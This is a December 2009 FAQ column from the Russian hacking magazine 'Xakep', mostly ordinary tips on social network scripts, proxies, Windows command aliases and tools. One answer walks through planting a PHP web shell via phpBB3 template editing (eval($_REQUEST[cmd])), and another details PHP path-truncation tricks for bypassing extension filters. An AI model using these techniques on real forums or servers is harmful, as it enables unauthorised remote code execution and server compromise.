Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #132, ДЕКАБРЬ 2009 г.

FAQ United


Q: Как одобрить/отклонить за один раз все заявки на вступление в друзья «ВКонтакте»?

A: Специально для тебя команда hacked.su зарелизила множество php-скриптов для подобных целей. Найти их можно по адресу http://hacked.su/scripts.php, а вот и сам список скриптов:

1. Друзья:

• Одобряем все заявки на вступление в друзья;
• Отменяем все заявки на вступление в друзья;
• Сохранение списка друзей на сервере, даже если он закрыт;
• Удаляем всех друзей;

2. Видео + аудио + фото:

• Удаление всех аудиозаписей;
• Удаление всех видеозаписей;
• Скрипт для удаления отметок с Видео и Фото;
• Скрипт для подтверждения отметок на Видео и Фото;

3. Альбомы:

• Перемещение картинок/фото из одного альбома в другой;
• Создание множества альбомов;
• Удаление пустых альбомов;
• Скачиваем все картинки из альбома (Группа + Пользователь);

4. Группы:

• Автоматическое вступление в группы;
• Удаляем все группы;
• Удаление всех участников группы;
• Удаление всех тем (обсуждения) в группе;
• Чистим альбом группы от спама картинками;

5. Вопросы:

• Создание множества вопросов;
• Удаление вопросов;

6. Стена:

• Удаляем все сообщения на стене;

7. Сообщения:

• Удаляем все входящие личные сообщения;

8. Приложения:

• Приглашение всех друзей;

9. Настройки профиля:

• Чистка черного списка пользователя.

Q: Где бы найти наиболее полный список русских и буржуйских социальных сетей?

A: Недавно на Античате задались таким же вопросом и открыли специальную тему, посвященную сбору ссылок и описаний всех существующих в мире социальных сетей: https://forum.antichat.ru/thread140117.html.

На данный момент в теме собрано около 700 ссылок. Вот лишь краткая выдержка из списков соцсетей от ErrorNeo: Крупнейшие соцсети мира (150+), для каждой указаны ее характеристики/ особенности:
http://en.wikipedia.org/wiki/List_ of_social_networking_websites

Все соцсети Германии + крупнейшие соцсети мира:
http://fudder.de/artikel/2008/04/09/175-internetcommunitys/

150 наиболее известных соцсетей в Испании:
http://es.wikipedia.org/wiki/Anexo:Redes_sociales_en_Internet

Список из 16 итальянских соцсетей:
http://it.wikipedia.org/wiki/Rete_sociale

18 наиболее известных соцсетей во Франции:
http://fr.wikipedia.org/wiki/Reseautage_social

22 крупнейшие соцсети мира с описаниями/ссылками:
http://ru.wikipedia.org/wiki/Социальная_сеть_(Интернет)

Список из 30 российских (а также иностранных, которые поддерживают русский язык) социальных сетей:
http://ru.wikipedia.org/wiki/Шаблон:Социальная_сеть_(Интернет)

Q: Хочу проследить историю перемещения одного домена по различным провайдерам. Как это сделать?

A: Советую воспользоваться популярным в среде домейнеров сервисом www.1stat.ru, который собирает статистику по доменным зонам RU и SU. Данный сервис сможет предоставить тебе подробную статистику по регистраторам и владельцам указанных зон.

По отдельным же сайтам предоставляется, собственно, история перемещения домена по провайдерам с момента регистрации домена, история whois, статистика liveinternet и актуальный whois. Также можно воспользоваться поиском по следующим параметрам: доменное имя, имя/название владельца, email владельца, телефон владельца, провайдер/ набор NS, дата регистрации, дата разделегирования, дата освобождения, регистратор.

Q: Как залить шелл в админке phpBB3?

A: Для этой версии известного форумного движка в паблике существуют пока что два способа заливки шелла. Первый способ от DeepXhadow:

1. Вкладка «Общие» „| Безопасность „ѓ Разрешить php в шаблонах: Да;
2. Вкладка «Стили» }„ Компоненты стилей „~ Шаблоны.

С помощью встроенного редактора шаблонов выбираем какой-нибудь файл и пишем в него:

<!-- PHP --> eval($_REQUEST[cmd])
<!-- ENDPHP -->

Далее применяем шаблон, идем на измененную страницу и наслаждаемся нашим шеллом. Второй способ от _gr34t (модификация предыдущего способа для урезанных прав на запись в файлы): Вкладка «Стили» ph Шаблоны „ Детали „„ Сохранять шаблоны в: «Базе данных».

Далее правим нужный шаблон (например, faq_body.html), заходим на http://site.com/ forum/faq.php и снова пользуемся нашим шеллом.

Q: Хочу написать свой ICQ-клиент. Подскажи, где бы взять исходники готового клиента для наглядности?

A: Для начала изучения работы протокола OSCAR, на котором построена ася, советую изучить исходники заброшенного, но вполне рабочего и красивого проекта FAIM: http://roticv.rantx.com/faim.

Далее тебе очень поможет небезызвестный открытый мессенджер Miranda: http://miranda.googlecode.com — собственно, описание и исходники проекта; http://code.google.com/p/miranda/source/browse — просмотр исходников в онлайне. А если ты кодишь на Делфях, то изучение никаких протоколов не потребуется — просто юзай компонент TICQClient :).

Q: Не так давно сдох сервис intop20.com и ему подобные. Как теперь просматривать выдачу гугла из-под амерского IP в амерских же датацентрах?

A: Специально для тебя наш любимый Гугл создал сервис для тестирования рекламы в Google AdWords, который позволяет просматривать выдачу по одному и тому же кейворду в разных странах и на разных языках, независимо от твоего текущего IP. Например, для запроса «buy viagra» ссылка на тестовую страницу адвордс будет выглядеть:
http://www.google.com/search?adtest=on&hl=en&host=google.com&gl=US&q=buy+viagra&aq=f&oq=&aqi=.

Если же ты не хочешь заморачиваться с параметрами в адресной строке, то зайди на кастомную страничку сервиса: https://adwords.google.com/select/AdTargetingPreviewTool.

Здесь можно манипулировать со следующим стаффом:

• ключевое слово;
• домен Google (например, google.co.uk);
• язык отображения;
• страна;
• регион;
• координаты.

Как видишь, возможности Большого Брата впечатляют: настроив под себя различные параметры, ты увидишь разную выдачу в разных доменах, странах и регионах. Также хочу порекомендовать замечательный сервис от 4seo.biz — скрипт проверки позиций в поисковиках (http://4seo.biz/tools/13). Здесь ты сможешь проверить позицию своей странички по сразу нескольким ключевым словам в выдаче google, bing, yahoo, rambler, yandex.

Q: По каким уровням анонимности различаются прокси?

A: Всего существует 4 вида уровня анонимности прокси-серверов:

1. Transparent — прозрачные прокси, предназначенные не для сокрытия инфы о твоем IP-адресе, а для, например, кеширования информации. Передают следующую информацию в переменных окружения:

REMOTE_ADDR — IP-адрес прокси;
HTTP_VIA — IP-адрес или имя прокси;
HTTP_X_FORWARDED_FOR — твой IP.

2. Anonymous — простые анонимные прокси, которые подменяют твой IP на свой, но не скрывают того, что они являются проксями. Переменные окружения у них будут выглядеть следующим образом:

REMOTE_ADDR — IP-адрес прокси;
HTTP_VIA — IP-адрес или имя прокси;
HTTP_X_FORWARDED_FOR — IP-адрес прокси.

3. Distorting — искажающие прокси. Также не скрывают того факта, что используется проксик, но подменяют переменную окружения HTTP_X_FORWARDED_FOR на случайный IP-адрес.

4. High anonymous/elite — самый безопасный вид прокси. Скрывают даже сам факт того, что используется левый IP. Переменные окружения в данном случае будут такими же, как и вовсе без использования проксей (только вместо твоего адреса будет стоять адрес прокси):

REMOTE_ADDR — IP-адрес прокси;
HTTP_VIA — пусто;
HTTP_X_FORWARDED_FOR — пусто.

Q: В каких еще случаях, кроме инклудов, работает уязвимость PHP с обрезанием расширения слешами http://site.com/?file=index.php///[...4096 /...]///.jpg?

A: К сожалению, не раз описанная в x PHP filepath truncation vulnerability работает только в функциях инклуда: include, require, include_ once, require_once. Но есть еще один нюанс, связанный с нормализацией пути в PHP: в некоторых функциях имя файла «file.php» будет равнозначно имени файла со слешем и точкой в конце (причем, таких последовательностей может быть очень много) — «file.php/.», так как эти символы просто-напросто вырезаются интерпретатором. Благодаря этому факту становится возможным обход множества фильтров, которые перед загрузкой/чтением файла проверяют его расширение. А вот и список таких функций:

1. (include|require)(_once)

• GNU/Linux обрезает одну или более последовательностей из символов \x2F (/) и \x2E (.) в конце файла (не работает, если установлен Suhosin patch);
• Windows обрезает последовательности из \ x20 ( ), \x22 ("), \x2E (.), \x3C (<), \x3E (>).

2. fopen

• GNU/Linux — те же символы \x2F (/) и \x2E (.) (опять все портит Suhosin);
• Windows — \x2E (.), \x2F (/), \x5C (\);
• FreeBSD — \x2F (/) and \x2E (.) (работает с Suhosin).

3. move_uploaded_file

• GNU/Linux опять \x2F (/) и \x2E (.) (работает даже при установленном Suhosin);
• Windows — \x2E (.), \x2F (/), \x5C (\);
• FreeBSD — \x2F (/) and \x2E (.) (работает с Suhosin).

Более подробно о данном виде атак на файловую систему PHP ты сможешь прочитать у авторов исследования: http://www.ush.it/2009/07/26/php-filesystem-attack-vectorstaketwo.

Q: Где можно быстро и легко определить скорость, страну, IP дедика?

A: Специально для этих целей люди, занимающиеся продажей/использованием дедиков, юзают сервис 2ip.ru, который позволяет определять следующие параметры: имя твоего компьютера, операционная система, браузер, страна, провайдер, скорость интернет-соединения, средняя скорость интернета, время загрузки файла, время реакции твоего компьютера, информация об IP-адресе, стартовая страница браузера, наличие IP в спам-базах, безопасность твоего компьютера, сетевые соединения, тестирование файрвола и множество других не менее интересных фишек. Для проверки просто зайди в любом браузере с дедика на упомянутый адрес.

Q: По работе приходится использовать ISS, несмотря на все мои попытки перейти на Apache. Увы, поделать ничего не могу, но и отказаться от использования привычных .htacess не получается. Как быть?

A: Рекомендую попробовать Helicon Ape (www.helicontech.com). Если кратко, это эмулятор Apache'а для ISS 7. Наконец-то можно сделать .htaccess и mod_rewrite для IIS. Сейчас Helicon Ape включает следующие модули: mod_rewrite, mod_proxy, mod_auth, mod_gzip, mod_headers, mod_cache, mod_ expires, mod_developer, mod_replace, mod_ so, mod_speling, mod_usertrack. Продукт коммерческий, но бесплатная версия позволяет использовать тулзу для трех сайтов.

Q: Во время работы под виндой очень не хватает grep. Дома устанавливаю дополнительные пакеты, реализующие никсовые утилиты. Но что делать на других компьютерах — в особенности с полезными скриптами, которые я активно использую в работе ежедневно?

A: Мало кто знает, но в винде есть своя реализация утилиты grep, а точнее сказать, даже две аналогичные команды. Первая — find — неудобна в использовании, потому как текст для поиска приходится обобщать в кавычки. Вторая команда — findstr — этого недостатка лишена и к тому же позволяет использовать для поиска всю мощь регулярных выражений. Отыскать в выводе команды dir те директории, которые содержат в себе словосочетание Python, можно так:

C:\>dir | findstr Python
03.11.2009 14:08 <DIR>
Python26

Результат налицо, но еще удобнее было бы создать алиас для этой команды, чтобы вместо findstr использовать привычный grep. Нет проблем — создаем и его:

echo findstr %1 %2 %3 %4 %5 >
%systemroot%\grep.cmd

Вот теперь никаких трудностей:

C:\>netstat -an | grep LISTEN
C:\>findstr LISTEN
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:554 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING

...

Аналогично создаются алиасы для:

• ifconfig

echo IF "%1"=="-a" (ipconfig /all)
ELSE (ipconfig %1) > %systemroot%\
ifconfig.cmd

• man

echo %1 /?> %systemroot%\man.cmd

• ls

echo dir %1 %2 %3 %4 %5ф >
%systemroot%\ls.cmd

Q: Замучался заливать на сервер файлы вебпроекта после каждого исправления — делаю это вручную через FTP-клиент. Подскажите, как это делать наиболее правильно — ведь есть же возможность вносить правки автоматически?

A: Правильнее всего, конечно, использовать систему контроля версий — в этом случае все изменения можно откатить. Несложно пишется скрипт, который будет заливать на сервер самую актуальную версию из SVN. Но если хочешь простой вариант — пожалуйста, воспользуйся WinSCP (winscp.net). В этом случае, помимо автоматической загрузки файлов на сервер (с включенной функцией Keep remote directory up to date), ты будешь использовать криптованное соединение посредством SFTP вместо незащищенного FTP, который передает файлы в открытом виде. Смех смехом, а если посидеть со снифером где-нибудь в беспроводной сети Мака, то диву даешься, сколько паролей FTP можно награбить с, казалось бы, обычных посетителей фастфуда.

Q: В чем прикол команды robocopy, которая появилась в Vista и Windows 7?

A: Robocopy (Robust File Copy) — это консольная утилита для репликации (то есть, не просто копирования) каталогов, замена устаревшей xcopy (и, тем более, copy). Вообще, она была доступна как часть Windows Resource Kit уже давно, однако стандартным компонентом стала лишь с Windows Vista, Windows 7 и Windows Server 2008. В robocopy появилась поддержка дополнительных опций, в том числе для более точного выбора файлов для копирования, синхронизации и поддержки сети, логирования и т.д. Тулза изначально разработана для отказоустойчивого копирования каталогов и деревьев каталогов. Она обладает возможностью копирования всех (или выборочных) NTFS атрибутов и свойств, имеет дополнительный код для перезапуска при применении с сетевым соединением в случае его разрывов. Чтобы воспользоваться всей мощью утилиты, была написана специальная графическая оболочка Robocopy GUI, которая со временем превратилась в утилиту RichCopy (ищи на technet.microsoft.com).

Q: Подскажите, пожалуйста, декомпилятор для кода на Java.

A: Одна из последних «модных» программ — DJ Java Decompiler (http://members.fortunecity.com/neshkov/dj.html). Тулза с большой долей успеха может превратить в исходный код скомпилированные бинарники CLASS-файлов (например, Java-апплеты). Причем ты можешь тут же внести изменения с помощью встроенного редактора кода с подсветкой синтаксиса. Примечательно, что для работы не нужна установленная JVM и JDK, но если есть необходимость самому собрать JAR-архив и запустить апплет вне контекста браузера, тогда не поленись их установить.

Содержание